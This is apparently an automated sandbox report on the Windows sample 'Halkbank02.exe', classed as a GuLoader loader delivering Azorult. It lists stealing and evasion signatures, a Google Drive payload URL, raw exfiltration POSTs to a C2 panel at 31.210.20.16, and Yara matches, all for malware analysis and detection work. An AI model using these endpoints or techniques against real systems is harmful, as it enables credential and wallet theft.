Windows Analysis Report Halkbank02.exe

Overview

General Information

Sample Name: Halkbank02.exe
Analysis ID: 483639
MD5: a4cb6740c9195c5579acef4f7c8e40c7
SHA1: 54abe0f828d828d5ff840b989fb5f010395961f6
SHA256: f1b1abf0182c865a3521d659cbc4bd86a4b00b0e4be95468a1d3b5ff46a3efc8
Tags: exegeoGuLoaderHalkbankTUR
Infos:

Most interesting Screenshot:

Detection

GuLoader Azorult
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Potential malicious icon found
Yara detected Azorult
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
GuLoader behavior detected
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Crypto Currency Wallets
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Self deletion via cmd delete
Tries to harvest and steal Bitcoin Wallet information
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Tries to steal Mail credentials (via file access)
Tries to steal Instant Messenger accounts or passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Abnormal high CPU Usage
Is looking for software installed on the system
Queries information about the installed CPU (vendor, model number etc)
Found inlined nop instructions (likely shell or obfuscated code)
PE file does not import any functions
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000001.00000002.562813823.00000000022A0000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1l"}
Multi AV Scanner detection for submitted file
Source: Halkbank02.exe ReversingLabs: Detection: 13%

Compliance:

barindex
Uses 32bit PE files
Source: Halkbank02.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 172.217.168.78:443 -> 192.168.2.3:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.65:443 -> 192.168.2.3:49825 version: TLS 1.2
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-locale-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876327978.000000001F490000.00000004.00000001.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, mozglue.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: Halkbank02.exe, 0000001C.00000003.874818070.00000000200E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-2-0.dll.28.dr
Source: Binary string: ucrtbase.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, ucrtbase.dll.28.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-memory-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, freebl3.dll.28.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874674316.00000000200D4000.00000004.00000001.sdmp, api-ms-win-core-debug-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875491758.000000001F448000.00000004.00000001.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876327978.000000001F490000.00000004.00000001.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874899344.00000000200EC000.00000004.00000001.sdmp, api-ms-win-core-heap-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875685309.000000001F450000.00000004.00000001.sdmp, api-ms-win-core-util-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-synch-l1-1-0.dll.28.dr
Source: Binary string: vcruntime140.i386.pdbGCTL source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp, vcruntime140.dll.28.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-environment-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, mozglue.dll.28.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.869027129.000000001F838000.00000004.00000001.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-processthreads-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, freebl3.dll.28.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000002.901129963.000000001F860000.00000004.00000001.sdmp, api-ms-win-core-console-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874818070.00000000200E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876256297.000000001F478000.00000004.00000001.sdmp, api-ms-win-crt-private-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-convert-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr
Source: Binary string: msvcp140.i386.pdb source: Halkbank02.exe, 0000001C.00000003.876940692.000000001F530000.00000004.00000001.sdmp, msvcp140.dll.28.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-profile-l1-1-0.dll.28.dr
Source: Binary string: ucrtbase.pdbUGP source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, ucrtbase.dll.28.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.872117132.000000001EFC4000.00000004.00000001.sdmp, api-ms-win-crt-time-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nssdbm3.dll.28.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874899344.00000000200EC000.00000004.00000001.sdmp, api-ms-win-core-handle-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Halkbank02.exe, 0000001C.00000003.870977200.000000001F83C000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-2-0.dll.28.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-processenvironment-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.868789686.000000001F83C000.00000004.00000001.sdmp, api-ms-win-core-datetime-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875685309.000000001F450000.00000004.00000001.sdmp, api-ms-win-crt-conio-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-math-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Halkbank02.exe, 0000001C.00000003.869710011.000000001EFC0000.00000004.00000001.sdmp, api-ms-win-core-localization-l1-2-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Halkbank02.exe, api-ms-win-core-processthreads-l1-1-1.dll.28.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-namedpipe-l1-1-0.dll.28.dr
Source: Binary string: vcruntime140.i386.pdb source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp, vcruntime140.dll.28.dr
Source: Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876736098.000000001F4B0000.00000004.00000001.sdmp, api-ms-win-crt-utility-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-rtlsupport-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nssdbm3.dll.28.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875491758.000000001F448000.00000004.00000001.sdmp, api-ms-win-core-timezone-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-string-l1-1-0.dll.28.dr
Source: Binary string: msvcp140.i386.pdbGCTL source: Halkbank02.exe, 0000001C.00000003.876940692.000000001F530000.00000004.00000001.sdmp, msvcp140.dll.28.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874899344.00000000200EC000.00000004.00000001.sdmp, api-ms-win-core-file-l2-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876327978.000000001F490000.00000004.00000001.sdmp, api-ms-win-crt-process-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874994667.000000001F404000.00000004.00000001.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874994667.000000001F404000.00000004.00000001.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.871542123.000000001EFC0000.00000004.00000001.sdmp, api-ms-win-crt-heap-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.872117132.000000001EFC4000.00000004.00000001.sdmp, api-ms-win-crt-string-l1-1-0.dll.28.dr

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_00401500
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00401500
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_00402872
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402872
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402C7A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402E7C
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_00402A0C
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402A0C
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402C3F
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_004028F7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_004028F7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_00402A81
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402A81
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_004020A7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_004020A7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402B02
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402D07
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402F0C
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_004027DC
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_004027DC
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402DF6
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402B84
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 4x nop then mov ebx, ebx 1_2_0040298D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_0040298D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 5x nop then xor eax, 4C849A4Bh 1_2_00402F9E

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?export=download&id=1l
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 31.210.20.16 31.210.20.16
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1lJPD8CKPp-EVLUPAdzPmFbICPOdlXyaR HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/peql5q1scp9vbkdsqsvf2ft8b3rc16eo/1631695950000/00085571407612204224/*/1lJPD8CKPp-EVLUPAdzPmFbICPOdlXyaR?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0g-c0-docs.googleusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /panel1/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 31.210.20.16Content-Length: 109Cache-Control: no-cacheData Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 fd 28 39 ff 4e 4e 8d 28 39 ff 28 39 f1 28 38 8c 4b 2f fb 39 2f fb 39 48 ed 3e 39 ed 3e 3c 8e 28 39 fb 28 38 8c 28 39 fb 28 39 f1 28 39 f9 4e 2f fb 3a 2f fb 39 2f fb 3e 2f fb 3c 2f fb 38 Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9NN(9(9(8K/9/9H>9><(9(8(9(9(9N/:/9/>/</8
Source: global traffic HTTP traffic detected: POST /panel1/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 31.210.20.16Content-Length: 80859Cache-Control: no-cache
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: Halkbank02.exe, 0000001C.00000002.899718241.000000001E420000.00000004.00000001.sdmp String found in binary or memory: http://31.210.20.16/panel1/index.php
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://ocsp.thawte.com0
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.28.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: http://www.mozilla.com0
Source: Halkbank02.exe, 0000001C.00000002.901935442.000000001FCB0000.00000004.00000001.sdmp String found in binary or memory: http://www.msn.com/de-ch/
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: Halkbank02.exe, 0000001C.00000002.901935442.000000001FCB0000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/chrome/thank-you.html
Source: 204641256101765428455219.tmp.28.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: unknown HTTP traffic detected: POST /panel1/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 31.210.20.16Content-Length: 109Cache-Control: no-cacheData Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 fd 28 39 ff 4e 4e 8d 28 39 ff 28 39 f1 28 38 8c 4b 2f fb 39 2f fb 39 48 ed 3e 39 ed 3e 3c 8e 28 39 fb 28 38 8c 28 39 fb 28 39 f1 28 39 f9 4e 2f fb 3a 2f fb 39 2f fb 3e 2f fb 3c 2f fb 38 Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9NN(9(9(8K/9/9H>9><(9(8(9(9(9N/:/9/>/</8
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1lJPD8CKPp-EVLUPAdzPmFbICPOdlXyaR HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/peql5q1scp9vbkdsqsvf2ft8b3rc16eo/1631695950000/00085571407612204224/*/1lJPD8CKPp-EVLUPAdzPmFbICPOdlXyaR?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0g-c0-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 172.217.168.78:443 -> 192.168.2.3:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.65:443 -> 192.168.2.3:49825 version: TLS 1.2

System Summary:

barindex
Potential malicious icon found
Source: initial sample Icon embedded in PE file: bad icon match: 20047c7c70f0e004
Malicious sample detected (through community Yara rule)
Source: 28.2.Halkbank02.exe.1fcb3556.3.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 28.2.Halkbank02.exe.1fcb7b4f.5.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 28.2.Halkbank02.exe.1fcbc4bf.4.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000001.00000002.559362429.0000000000410000.00000020.00020000.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000001.00000000.235153506.0000000000410000.00000020.00020000.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 0000001C.00000000.557106702.0000000000410000.00000020.00020000.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Uses 32bit PE files
Source: Halkbank02.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 28.2.Halkbank02.exe.1fcb3556.3.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 28.2.Halkbank02.exe.1fcb7b4f.5.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 28.2.Halkbank02.exe.1fcbc4bf.4.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000001.00000002.559362429.0000000000410000.00000020.00020000.sdmp, type: MEMORY Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000001.00000000.235153506.0000000000410000.00000020.00020000.sdmp, type: MEMORY Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0000001C.00000000.557106702.0000000000410000.00000020.00020000.sdmp, type: MEMORY Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Detected potential crypto function
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00401500 1_2_00401500
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402872 1_2_00402872
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402C7A 1_2_00402C7A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402A0C 1_2_00402A0C
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402C3F 1_2_00402C3F
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004028F7 1_2_004028F7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402A81 1_2_00402A81
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004020A7 1_2_004020A7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00401550 1_2_00401550
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402B02 1_2_00402B02
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004027DC 1_2_004027DC
